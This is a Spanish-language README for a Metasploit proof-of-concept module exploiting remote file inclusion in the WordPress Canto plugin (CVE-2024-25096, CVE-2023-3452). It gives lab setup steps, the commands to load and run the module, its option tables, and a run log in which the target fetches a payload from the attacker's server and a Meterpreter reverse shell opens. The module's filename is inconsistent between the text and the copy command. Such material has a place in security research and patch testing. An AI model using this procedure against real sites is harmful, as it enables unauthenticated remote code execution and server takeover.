
Este es un módulo de explotación de Metasploit para CVE-2024-25096 y CVE-2023-3452.
Este exploit es un exploit de prueba de concepto de las vulnerabilidades RFI CVE-2024-25096 y CVE-2023-3452, que permiten al atacante establecer una sesión de shell remota interactiva en el objetivo.
CVE-2024-25096 abusa del parámetro abspath, que permite la inclusión remota de archivos a través de la instrucción include_once. CVE-2023-3452 tiene el mismo procedimiento, excepto que el parámetro “wp_abspath” permite la inclusión remota de archivos a través de la instrucción require_once. Esto permite al atacante ejecutar código no autenticado en el servidor objetivo.
Aunque las bases de datos de vulnerabilidades listan CVE-2023-3452 como afectando versiones hasta 3.0.4, las pruebas confirmaron que la vulnerabilidad sigue siendo explotable hasta la versión 3.0.6. El problema fue corregido en la versión 3.0.7, la misma versión que corrige CVE-2024-25096.
Las siguientes condiciones son necesarias para que el objetivo sea vulnerable:
allow_url_include=On Clona este repositorio y descarga el plugin canto
Ten en cuenta que si deseas descargar una versión anterior de Canto, simplemente copia el enlace y cambia el número de versión en el enlace a tu versión preferida.
Inicia el contenedor (docker-compose.yaml) con el comando podman-compose up.
Abre http://localhost:8889/wp-admin/install.php en el navegador de tu elección y configura una cuenta de WordPress.

Después de iniciar sesión, puedes seleccionar e instalar el archivo zip de canto en la pestaña Plugins -> Añadir nuevos plugins -> Subir plugin.

Añade el exploit (rce_exploit_cve_2024_25096.rb) a la carpeta de módulos de metasploit.
Inicia Metasploit (msfconsole) y recarga Metasploit (reload_all).
Selecciona el payload.
cp explit/wordpress_canto_plugin_file_include_rce.rb ~/.msf4/modules/exploits/
msfconsole
reload_all
search rce_exploit_cve_2024_25096
use 0
establece los valores de las variables requeridas
Module options (exploit/rce_exploit_cve_2024_25096):
Nombre Configuración actual Requerido Descripción
---- --------------- -------- -----------
Proxies No Una cadena de proxies de formato tipo:host:puerto[,tipo:host:puerto][...]. Proxies compatibles: sapni, socks4, socks5, http, socks5h
RHOSTS 127.0.0.1 Sí El(los) host(s) objetivo, ver https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 8889 Sí Puerto
SRVHOST 0.0.0.0 Sí El host local o interfaz de red para escuchar. Debe ser una dirección en la máquina local o 0.0.0.0 para escuchar en todas las direcciones.
SRVPORT 8080 Sí El puerto local para escuchar.
SSL false Sí Usar SSL
SSLCert No Ruta a un certificado SSL personalizado (por defecto se genera aleatoriamente)
TARGETFILE get.php Sí Archivo PHP vulnerable
TARGETURI /wp-content/plugins/canto Sí Ruta al directorio raíz de canto
URIPATH No El URI para usar en este exploit (por defecto es aleatorio)
VHOST No Host virtual del servidor HTTP
Payload options (php/meterpreter/reverse_tcp):
Nombre Configuración actual Requerido Descripción
---- --------------- -------- -----------
LHOST 192.168.178.58 Sí La dirección de escucha (se puede especificar una interfaz)
LPORT 4444 Sí El puerto de escucha
Exploit target:
Id Nombre
-- ----
0 Plugin WordPress <= 3.0.6
Ver la información completa del módulo con el comando info, o info -d
Ejecuta el exploit y espera lo mejor ;)
[msf](Jobs:0 Agents:0) exploit(rce_exploit_cve_2024_25096) >> run
[*] Started reverse TCP handler on 192.168.178.58:4444
[*] Starting HTTP server...
[*] Using URL: http://192.168.178.58:8080/14Gs3AAu8j4
[*] Triggering RFI...
[*] Sending admin.php payload
[*] Sending stage (42137 bytes) to 192.168.178.58
[*] Meterpreter session 2 opened (192.168.178.58:4444 -> 192.168.178.58:54310) at 2026-03-01 20:15:23 +0100
[*] Server stopped.
(Meterpreter 2)(/var/www/html/wp-content/plugins/canto/includes/lib) >
Este proyecto se proporciona únicamente con fines educativos y de investigación de seguridad.
El autor no fomenta ni aprueba actividades ilegales. Cualquier uso de este código para atacar sistemas sin permiso está estrictamente prohibido.
El autor no es responsable de ningún uso indebido o daño causado por este software. Los usuarios son responsables de asegurarse de cumplir con todas las leyes y regulaciones aplicables.
Usa este código solo en entornos donde tengas permiso explícito, como entornos de laboratorio, compromisos de pruebas de penetración o investigación de seguridad.